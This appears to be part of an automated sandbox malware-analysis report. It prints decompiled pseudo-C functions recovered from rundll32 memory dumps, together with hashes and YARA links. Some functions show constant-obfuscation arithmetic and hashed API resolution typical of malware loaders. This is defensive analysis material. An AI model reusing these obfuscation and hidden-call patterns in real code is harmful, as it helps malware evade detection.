Opcode ID: f1ff426e79746ad319983153294732274ee39d0f6843496e681fd78a0ea1dbe7
Instruction ID: 7234065e24359f4e094d93a4db801605db6a2f0fde42c70ea94980179ed85e55
Opcode Fuzzy Hash: f1ff426e79746ad319983153294732274ee39d0f6843496e681fd78a0ea1dbe7
Instruction Fuzzy Hash: 1031FAB190020CAFEB05DFA5DD49CEEBBB9EB48318F118159F918A6250D3759E119F50

Uniqueness

Uniqueness Score: -1.00%

Function 029C938F, Relevance: .1, Instructions: 78
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E029C938F(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t61;
				intOrPtr* _t71;
				signed int _t74;
				signed int _t75;
				void* _t82;

				_t82 = __ecx;
				E029C8002(_t61);
				_v20 = 0xbef202;
				_v20 = _v20 + 0xffff21de;
				_v20 = _v20 ^ 0x00b3eae5;
				_v12 = 0xa3325d;
				_t74 = 0x23;
				_v12 = _v12 / _t74;
				_t75 = 0x3c;
				_v12 = _v12 / _t75;
				_v12 = _v12 ^ 0xff22bd2a;
				_v12 = _v12 ^ 0xff2f07cd;
				_v16 = 0x469ceb;
				_v16 = _v16 ^ 0x7703f7cf;
				_v16 = _v16 ^ 0x7745eb9f;
				_v8 = 0xb0e81d;
				_v8 = _v8 ^ 0x620d6c1b;
				_v8 = _v8 ^ 0xbeb2c118;
				_v8 = _v8 << 7;
				_v8 = _v8 ^ 0x07a7ef49;
				_t71 = E029DE399(_t75, _v12 % _t75, _t75, 0x4b858200, 0x8a, 0xe9c6291a);
				return  *_t71(_a56, _a16, _t82, 0, 0, _a28, _a36, _a44, _a12, _a20, __ecx, __edx, _a4, _a8, _a12, _a16, _a20, 0, _a28, _a32, _a36, _a40, _a44, _a48, _a52, _a56, 0);
			}

0x029c9399
0x029c93c6
0x029c93cb
0x029c93d4
0x029c93db
0x029c93e2
0x029c93ee
0x029c93f3
0x029c93fb
0x029c9401
0x029c9404
0x029c940b
0x029c9412
0x029c9419
0x029c9420
0x029c9427
0x029c942e
0x029c9435
0x029c943c
0x029c9440
0x029c9463
0x029c948a

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fb78f267175e101537b1da63eb1f95f6ffa96ed1ea6f3c6d98e9dded9ba910
Instruction ID: 55f1357c503e95ee662bcc0d9ce672e00fdb03706bb2d729368f12bac1d70395
Opcode Fuzzy Hash: 41fb78f267175e101537b1da63eb1f95f6ffa96ed1ea6f3c6d98e9dded9ba910
Instruction Fuzzy Hash: 1131D332900209BBDF05DEA5CC058DEBFB6FF89310F508589FA2566160D3728A61EF50

Uniqueness

Uniqueness Score: -1.00%

Function 029E2C16, Relevance: .1, Instructions: 75
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E029E2C16(void* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _t86;
				signed int _t90;
				signed int _t97;

				_v20 = 0xacae23;
				_v20 = _v20 << 0xf;
				_v20 = _v20 | 0x6c9bf0d1;
				_v20 = _v20 ^ 0x7f9479e6;
				_v36 = 0xc06d46;
				_v36 = _v36 ^ 0x803171a5;
				_v36 = _v36 ^ 0x80fd406e;
				_v32 = 0xf65439;
				_v32 = _v32 | 0x5a7fe57f;
				_v32 = _v32 ^ 0x5af5edb9;
				_v16 = 0xdd7286;
				_v16 = _v16 + 0x910;
				_t90 = 0x70;
				_push(_t90);
				_v16 = _v16 / _t90;
				_v16 = _v16 ^ 0x0001af99;
				_v28 = 0xeb52ac;
				_v28 = _v28 * 0x29;
				_v28 = _v28 >> 3;
				_v28 = _v28 ^ 0x04bf97d3;
				_v12 = 0xbf341c;
				_v12 = _v12 | 0xf90dbd1e;
				_v12 = _v12 << 0xb;
				_v12 = _v12 * 0xa;
				_v12 = _v12 ^ 0xeb132bbc;
				_v8 = 0xfc31ef;
				_v8 = _v8 + 0xffff7796;
				_v8 = _v8 | 0x47982907;
				_v8 = _v8 + 0xffffab06;
				_v8 = _v8 ^ 0x47fec196;
				_v24 = 0x9bc474;
				_v24 = _v24 * 0x2d;
				_v24 = _v24 + 0xe046;
				_v24 = _v24 ^ 0x1b6268ae;
				_v40 = 0xe1d59c;
				_v40 = _v40 + 0xffffc183;
				_v40 = _v40 ^ 0x00e1970f;
				_push(_v24);
				_push(_t90);
				_t86 = E029D2CCF(_v40, _t90);
				_push(__ecx);
				_push(_v8);
				_t97 = _t86;
				_push(_t97);
				_push(3);
				E029D8601(_v28, _v12);
				 *((short*)(__ecx + _t97 * 2)) = 0;
				return 0;
			}

0x029e2c1c
0x029e2c25
0x029e2c29
0x029e2c30
0x029e2c37
0x029e2c3e
0x029e2c45
0x029e2c4c
0x029e2c53
0x029e2c5a
0x029e2c61
0x029e2c68
0x029e2c78
0x029e2c7b
0x029e2c7c
0x029e2c7f
0x029e2c86
0x029e2c91
0x029e2c94
0x029e2c98
0x029e2c9f
0x029e2ca6
0x029e2cad
0x029e2cb5
0x029e2cb8
0x029e2cbf
0x029e2cc6
0x029e2ccd
0x029e2cd4
0x029e2cdb
0x029e2ce2
0x029e2ced
0x029e2cf0
0x029e2cf7
0x029e2cfe
0x029e2d05
0x029e2d0c
0x029e2d1f
0x029e2d22
0x029e2d27
0x029e2d2c
0x029e2d2d
0x029e2d33
0x029e2d38
0x029e2d39
0x029e2d3b
0x029e2d45
0x029e2d4e

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ee398f73e3bd3737d3a0f46f012eb34d36fe675d243cd443379ab18b292edab
Instruction ID: 6cae6debd159a3abd807b7a4f99481cbaf0ef604287a04c0e544bce992609445
Opcode Fuzzy Hash: 8ee398f73e3bd3737d3a0f46f012eb34d36fe675d243cd443379ab18b292edab
Instruction Fuzzy Hash: D53102B1D0130EABCB48CFE5DA4A8EEBBB1FB44314F208199D511B6260D3B55B55CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0BFE0, Relevance: .0, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2496d79324f3fef44311ec741c4a01b71968adf6a92822be10d7bb13a6a22ba
Instruction ID: c88ddc2fc255a5dcd3088d9c6c480b126e8a2c4617e936392b6b7d1791185837
Opcode Fuzzy Hash: a2496d79324f3fef44311ec741c4a01b71968adf6a92822be10d7bb13a6a22ba
Instruction Fuzzy Hash: 7D0169313112018FD748CF68E5A0B29B3E6BF4578CF6A85A9D8128F755DB70EE80CA64

Uniqueness

Uniqueness Score: -1.00%

Function 6EA1298C, Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction ID: d29a19b23e43d2c8cee665201728b5112ad76eca8f423d9704328a6ebf40ed4b
Opcode Fuzzy Hash: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction Fuzzy Hash: 68E04632915228EBCB11CFCC8A00DCAB2ACEB4AA04B510896A501E3200C270DE40D7D4

Uniqueness

Uniqueness Score: -1.00%

Function 6EA112CB, Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction ID: 7e444669aa56ddd4059b342e4527bb0c0f70f96bec40f202dca17539949f4a49
Opcode Fuzzy Hash: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction Fuzzy Hash: 64C08C3400A94046CE0989D08270BF4336CE3B6782F88089CC8028B641C61E9CCBE71A

Uniqueness

Uniqueness Score: -1.00%

Function 029D4315, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FDD30, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6E9FDD30(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6EA039E0;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6EA0E9D0(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6ea3f8cc; // 0x2
				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6EA19A30(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6EA19470(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6ea406e0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6EA00D10(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6ea4e128, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6ea4e128, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6ea4e128, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6ea3fdd8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6ea3f570;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = E6E9F2150( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
								HeapFree( *0x6ea4e128, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6ea3fde0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6EA0E9D0(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6EA0C5AE();
						_t217 = E6E9FE4E0(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6ea4e148; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6ea4e130, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6EA194E0(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6ea40ad0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6ea4e148 = _t218;
									_t267 =  *0x6ea4e14c; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6ea4e14c; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6ea4e158; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6EA0E9D0(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6E9FE6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6ea4e130, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6EA0E9D0(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6ea4e144; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6ea4e130, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6EA194E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6ea40ad0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6ea4e144 = _t244;
														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
												 *(_t310 + 0x5a8) = 3;
												_t243 = E6E9FE6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6ea4e158 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6ea4e130, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6EA194E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6ea40ad0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6E9FE6D0( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
										 *0x6ea4e14c = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6ea4e128, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6ea3fe4c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6ea3f570;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = E6E9F2150( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

0x6e9fdd33
0x6e9fdd34
0x6e9fdd35
0x6e9fdd39
0x6e9fdd3f
0x6e9fdd41
0x6e9fdd47
0x6e9fdd4d
0x6e9fdd57
0x6e9fdd71
0x6e9fdd77
0x6e9fdd7e
0x6e9fdd80
0x6e9fdd83
0x6e9fdd94
0x6e9fdd99
0x6e9fdd9c
0x6e9fdda1
0x6e9fdda6
0x6e9fddad
0x6e9fddb0
0x6e9fddb7
0x6e9fddba
0x6e9fddc7
0x6e9fddca
0x6e9fdde6
0x6e9fdde6
0x6e9fddec
0x6e9fddf0
0x6e9fddf2
0x6e9fddf4
0x6e9fddfe
0x6e9fde02
0x6e9fde07
0x6e9fde0d
0x6e9fde0d
0x6e9fde10
0x6e9fde13
0x6e9fde16
0x6e9fde19
0x6e9fde1c
0x6e9fde1f
0x6e9fddcc
0x6e9fde30
0x6e9fde30
0x6e9fde36
0x6e9fde3d
0x6e9fde3d
0x6e9fde40
0x6e9fde42
0x6e9fde4a
0x6e9fde50
0x6e9fde54
0x6e9fde62
0x6e9fddd0
0x6e9fddd3
0x6e9fddd5
0x6e9fde8d
0x6e9fde90
0x6e9fde9a
0x6e9fde9c
0x6e9fe3b8
0x00000000
0x6e9fdea2
0x6e9fdea2
0x6e9fdea5
0x6e9fdea8
0x6e9fdea9
0x6e9fdeae
0x6e9fdeb4
0x6e9fdeb9
0x6e9fdebb
0x6e9fdebe
0x6e9fdec3
0x6e9fdec6
0x6e9fdec8
0x00000000
0x00000000
0x6e9fdeca
0x00000000
0x6e9fdec8
0x6e9fdddb
0x6e9fdddb
0x6e9fdde1
0x6e9fdde4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fdde4
0x6e9fde77
0x6e9fde7a
0x6e9fde82
0x6e9fde85
0x00000000
0x6e9fde8b
0x00000000
0x6e9fde8b
0x00000000
0x6e9fde85
0x6e9fdecc
0x6e9fdecc
0x6e9fded2
0x6e9fded4
0x6e9fded7
0x6e9fdede
0x6e9fdee1
0x6e9fdee3
0x6e9fdee5
0x6e9fdee5
0x6e9fdee9
0x6e9fdeeb
0x6e9fdef0
0x6e9fdefd
0x6e9fdefd
0x6e9fdef0
0x6e9fdee9
0x6e9fdf02
0x6e9fdf02
0x6e9fdf04
0x6e9fdf6e
0x6e9fdf71
0x6e9fdf74
0x6e9fdf77
0x6e9fdf7a
0x6e9fdf06
0x6e9fdf06
0x6e9fdf0a
0x6e9fdf0c
0x6e9fdf11
0x6e9fdf17
0x6e9fdf22
0x6e9fdf24
0x6e9fdf27
0x6e9fdf2a
0x6e9fdf2d
0x6e9fdf31
0x6e9fdf33
0x6e9fdf35
0x6e9fdf39
0x6e9fdf3b
0x6e9fdf3b
0x6e9fdf47
0x6e9fdf4c
0x6e9fdf4c
0x6e9fdf58
0x6e9fdf58
0x6e9fdf5d
0x6e9fdf60
0x6e9fdf62
0x6e9fdf62
0x6e9fdf84
0x6e9fdf87
0x6e9fdf8d
0x6e9fdf90
0x6e9fdf93
0x6e9fdf9d
0x6e9fdfa7
0x6e9fdfb1
0x6e9fdfbb
0x6e9fdfc8
0x6e9fdfd1
0x6e9fdfd2
0x6e9fdfd7
0x6e9fdfda
0x6e9fdfdc
0x6e9fe255
0x6e9fe255
0x6e9fe258
0x6e9fe25a
0x6e9fe25c
0x6e9fe260
0x6e9fe26b
0x6e9fe26b
0x6e9fe260
0x6e9fe270
0x00000000
0x6e9fdfe2
0x6e9fdfe2
0x6e9fdfe8
0x6e9fdfef
0x6e9fdff3
0x6e9fdff6
0x6e9fdffd
0x6e9fdfff
0x6e9fe008
0x6e9fe00e
0x6e9fe011
0x6e9fe018
0x6e9fe01c
0x6e9fe022
0x6e9fe028
0x6e9fe02e
0x6e9fe036
0x6e9fe03f
0x6e9fe049
0x6e9fe050
0x6e9fe055
0x6e9fe058
0x6e9fe059
0x6e9fe05e
0x6e9fe063
0x6e9fe065
0x6e9fe076
0x6e9fe07c
0x6e9fe07f
0x6e9fe081
